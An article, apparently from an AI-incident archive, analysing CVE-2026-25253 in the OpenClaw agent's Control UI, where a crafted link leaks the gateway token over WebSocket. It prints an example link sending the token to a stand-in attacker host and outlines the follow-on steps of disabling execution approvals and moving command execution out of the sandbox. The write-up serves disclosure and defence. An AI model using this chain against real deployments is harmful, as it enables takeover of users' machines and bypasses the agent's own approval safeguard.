抽象的な濃紺のエディトリアルイラスト:左側のブラウザウィンドウから、光るクエリ文字列のリボンが伸び、暗い隙間を弧を描いて横切り、琥珀色のトークンノードへと続いている。トークンからは細い線がさらに伸び、右側の別のエンドポイントへと続く。唯一のテキストは「QUERY STRING > TOKEN > GATEWAY」と読める小さなラベルである。人物もロゴもない。
AI Safety Incidents

OpenClaw Control UI の WebSocket ハイジャック:リンク1つで RCE

著者

Gideon Frost

公開日

最新モデル · 20すべてのモデルを見る →
ベンチマーク:Artificial Analysis · 毎日更新
すべての記事に戻る

2026年1月29日、セキュリティ企業Ethiackは、ユーザー自身のマシン上で動作し、Control UIと呼ばれるブラウザダッシュボードから操作されるオープンソースのパーソナルAIエージェントOpenClawの脆弱性に関する報告を公開した。細工されたリンクにより、そのダッシュボードが攻撃者にゲートウェイの認証トークンを渡し、それによってログイン中のユーザーとしてシェルコマンドを実行できるようになる可能性があった。CVE-2026-25253が2026年2月1日に続き、翌日にはプロジェクト自身のアドバイザリが続いた。どちらもこの脆弱性を8.8、高と評価している。誰かがControl UIにサインインしていたすべてのデプロイが対象で、ループバックでのみ到達可能なインスタンスも含まれた。本記事で参照したどの情報源にも、この脆弱性が実際のユーザーに対して悪用された記録はない。アーカイブは、この出来事を、信頼度B、日精度の日付2026年1月29日を持つ高重大度のインフラインシデントとして、Orca AI Incident Archive。

{{1}}Control UI{{/1}} が URL に対して行ったこと

OpenClawはセルフホスト型エージェントで、ユーザーはメッセージングアプリとWebダッシュボードを通じてアクセスし、Ethiackの記事が「フルシステムアクセス」と呼ぶ権限で動作する。このプロジェクトはすでに複数回改名されており、OpenClaw以前にはClawdbotとMoltbotという名前を持っていた。また、npmのレジストリは、openclawパッケージが2026年1月29日11:08 UTCに作成されたと記録している。ここで重要なのはダッシュボードだ。ダッシュボードはゲートウェイトークンをブラウザストレージに保持しており、欠陥はそこに存在していた。

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

ブラウザに関する2つの事実が、その漏えいを乗っ取りに変える。ブラウザは、通常のHTTPリクエストに対してと同じようにはWebSocket接続に同一オリジンポリシーを適用せず、ゲートウェイはアップグレード時にOriginヘッダーを検証しなかった。そのため、被害者が訪問したページ上のJavaScriptが直接ソケットを開くことができた。接続先はws://localhost:18789(depthfirst、2026年2月1日)。被害者自身のブラウザが外向き接続を行うため、この攻撃はループバックにバインドされ、ネットワークからは見えないゲートウェイにまで到達した。「この脆弱性は、被害者のブラウザが外向き接続を開始するため、ループバックのみで待ち受けるよう設定されたインスタンスでも悪用可能だ」とプロジェクトのアドバイザリは述べている。Ethiackは当時、さらに1つの条件を記録していた。同社がテストした安定版ChromeビルドにはLocal Network Access権限がデフォルトで搭載されておらず、ブラウザはプロンプトも表示しなかった。

盗まれたトークンが何をもたらすかは、話の残りで明らかになる。それには operator.admin と operator.approvals のスコープが含まれていた。これらがあれば、攻撃者は次のことができた。exec.approvals.set を "off" に設定して実行承認を無効にし、実行ホストをコンテナ外へ移すためにtools.exec.host を "gateway" に設定し、その後、ホスト上でnode.invoke / system.run リクエストを通じてシェルコマンドを実行できた(depthfirst、2026年2月1日、The Hacker News、2026年2月2日)。ベンダーのアドバイザリは、結果を一文で要約している。攻撃者は「設定(サンドボックス、ツールポリシー)を変更し、特権アクションを呼び出して、1クリックRCEを達成できる」。

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

2時間足らずで、機械によって発見された

この発見自体がAIによる演習だった。Ethiackは2026年1月26日13:21 UTC、稼働中のOpenClawインスタンスに対して自律型ペネトレーションテストエージェント「Hackian」を解き放った。約1時間40分後の15:05 UTCに脆弱性を確認しており、これがEthiackの記事の見出しに掲げられた数字だ。同社は18:02 UTCにOpenClawのメンテナーへ報告した。Ethiackの公開タイムラインとプロジェクトのコミット履歴によると、翌27日にプルリクエストが作成され、修正は28日の夜にメインブランチへ到達した。

別のチームも独立に同じ結論に達した。depthfirstの創設セキュリティ研究者であるMav Levinは2026年2月1日に自身の記事を公開し、「OpenClawチームは私が報告した問題に迅速に対応し、修正した」と述べ、また別の人物が同じバグを独立に報告していたとも書いている。GitHubのアドバイザリはDepthFirstDisclosuresを報告者としてクレジットし、発見者の中に0xacbとmavlevinの両方を挙げている。0xacbアカウントのプロフィール名はAndré Baptistaで、Ethiackの記事の3人の共著者の1人であり、これは時系列と一致する。Ethiackの修正に対するプルリクエストは1月27日にそのアカウントから開かれ、メンテナーのコミットはその名を挙げて感謝している。この記事のために読んだどの情報源も、2つの取り組みが公開前に互いを知っていたとは述べておらず、クレジットに異議を唱えているものもない。

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

レコードの日付と、その前後の日付

アーカイブはこの項目を日単位の精度で2026年1月29日と記録しており、これはEthiackの研究が公開された日と一致する。コード修正は前日にはすでに反映されていた。それを含むタグ付きリリースは、UTCで1月30日の早朝に続いた。これは米国太平洋時間では1月29日の夕方にあたる。npmはバージョン2026.1.29を1月30日04:49 UTCに、GitHubリリースを05:26 UTCに記録している。MITREのCVEレコードは2026年2月1日22:34 UTC付、GitHubのアドバイザリは2月2日23:41 UTC付、The Hacker Newsは2月2日にこの脆弱性を報じた。

記録が引用する情報源であるPermission Protocolのエージェントインシデントトラッカーは、独自のタイムラインを維持しており、その一部は遅れている。同トラッカーはパッチリリースを2026-01-29とし、これはバージョン番号と一致しているが、脆弱性の「初期報告」を2026-02-12、CVE-2026-25253の広範な公開を2026-02-26とし、独立系のまとめ記事を2026-03-24としている。一次資料はそうした内容とは異なる。2月26日という日付はSonicWallのパッチ分析に対応しており、これは識別子が存在してから3週間半後に公開された。また2月12日は、2本の研究記事とベンダー分析の前ではなく、その間に位置する。同トラッカーのタイムライン最終行は、この仕組みを「ゼロクリック」とも呼んでいるが、ベンダーアドバイザリでは1クリックとしており、公開されているすべての説明は、被害者がリンクを開く必要があるとしている。これらの日付とラベルが異なる場合、本記事はCVEレコード、ベンダーアドバイザリ、および2本の研究記事に従う。

その情報源についての注意点を一つ、明言しておく価値がある。Permission Protocolは認可ゲートを販売しており、その記事の冒頭は、自社製品なら何を防げたかという観点でインシデントを枠づけている。ページはその評価を条件付きと位置づけ、自らについて「この情報源は製品による防止結果を立証していない」と述べている。記録が正確に伝えているのは、その枠づけだ。研究はCVEが存在する3日前に公開されており、だからこそアーカイブはこれをCVE-2026-25253に先立つ早期発見と呼んでいる。

実際に害を受けたのは何だったのか

何もない、あらゆる情報源が記録している限りでは。アーカイブはその記録を real_harm false と記しており、それはその周辺で公表されたすべての内容と整合している。ベルギーのサイバーセキュリティセンターは2026年2月2日に勧告を発し、「現時点で、この脆弱性が実際の攻撃で悪用された証拠はない」と述べた。Ethiack、depthfirst、SonicWall、The Hacker News のいずれも、被害者、侵害された導入環境、持ち出されたデータを報告しておらず、露出した導入環境の数についても数値を示していない。Ethiack は、弱い設定で「公開サーバー上で稼働している大量のインスタンス」があったと述べているだけであり、それは件数ではなく印象である。

実際に存在するのは、動作するエクスプロイトコードだ。Ethiackは詳細記事とともに完全なエクスプロイトのソースを公開し、自社インスタンスに対してその攻撃チェーンを実演した。SonicWallの2月の分析では、「公開されているエクスプロイトを使用した」トークン奪取が示されている。2026年3月9日には、第三者の概念実証リポジトリがGitHubに登場した。公開されたエクスプロイトコードは実際の悪用とは異なり、アーカイブの危害フラグが指すのは後者である。

1つの情報源は他より記述が緩く、指摘する価値がある。ベルギーの勧告のリスクセクションは、ボット自体が攻撃者制御のコンテンツを描画することをトリガーとしているが、これはベンダー勧告や2件の研究記事のいずれにおける仕組みとも異なる。3件すべてでは、被害者のブラウザがリンクへ誘導され、エージェントが標的であり、配送手段ではない。引用可能なのはその悪用に関する記述であり、仕組みの要約ではない。

何が変わり、最初の修正が何を未解決のまま残したのか

2026.1.29 の修正では、Control UI が別のゲートウェイ URL に切り替わる前に確認ダイアログが追加されました。プロジェクトのアドバイザリでは、この変更を「この変更により、ユーザーは UI 上で新しいゲートウェイ URL を確認する必要がある」と説明しており、ダイアログを描画するファイルは v2026.1.29 タグに存在します。これにより、攻撃のコストは 1 クリックから 1 クリックに意図的な確認を加えたものへと上がります。ただし、URL パラメータに対する根本的な信頼がなくなるわけではありません。

オリジン検証、すなわち連鎖のもう半分は、後から導入された。SonicWallのパッチ分析は「後のアップデートで厳格なオリジン検証制御が実装された」と記録し、4つのチェックを挙げている。欠落または無効なOriginヘッダーを拒否する。Hostヘッダーと一致するOriginホストを許可する。ループバックからループバックへの通信を許可する。設定されたallowedOriginsリストに記載されたオリジンを許可する。そしてそれ以外はすべて拒否する。この順序は、v2026.1.29タグのプロジェクトソースで確認できる。そこではWebSocketアップグレードハンドラーが、ポリシーを適用せずにOriginヘッダーを読み取ってログに記録している。

他の回答はコードではなく検出でした。SonicWallは、同社がOpenClawの機密データ露出と呼ぶものに対してIPSシグネチャ21908を出荷しました。depthfirstは、露出が疑われる場合はアップグレードとゲートウェイトークンのローテーションを推奨しており、これはメカニズムから直接導かれることです。盗まれたトークンは、誰かが変更するまで有効なままです。

何が確立されており、何が確立されていないのか

一次資料から確認済みである。脆弱なコードパスはクエリ文字列から gatewayUrl を読み取り、検証なしで自動接続していた。接続フレームは保存済みトークンを運んでいた。ゲートウェイは WebSocket のオリジンを検証していなかったため、任意のサイト上のブラウザがループバックに到達できた。トークンには管理者および承認のスコープが付与されていた。2026.1.29 より前のバージョンが影響を受けた。そして2つのチームが独立にこの欠陥を発見し、そのうち1つは外部から活動する自律エージェントだった。

立証されていないのは、誰かがそれを悪用したこと、当時何件のインストールが到達可能だったか、そして確認ダイアログだけで決意のある攻撃者を防げたかどうかである。アーカイブのB評価は、仕組みそのものへの疑念ではなく、引用基盤が二次トラッカー1件であることを反映しており、記録は異議ありと印付けされていない。これらの仕組みはベンダーのアドバイザリ、MITREのCVE記録、および2件の独立した研究記事によって裏付けられており、これは記録自体が単独で主張している以上のものである。

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

アーカイブの一行要約はこれをCVE-2026-25253に先立つ早期発見と呼んでおり、それがこの項目を読む正しい捉え方だ。識別子が付く前に発見され、報告され、修正された欠陥の記録であり、それが動作するマシン上でコマンドを実行するために作られた製品におけるものだ。後に続くCVEは同じ3つの挙動、すなわちクエリパラメータ、促されていない接続、ハンドシェイク内のトークンを説明しており、本稿のために参照したどの情報源も、その接続の相手側に誰かがいるとはしていない。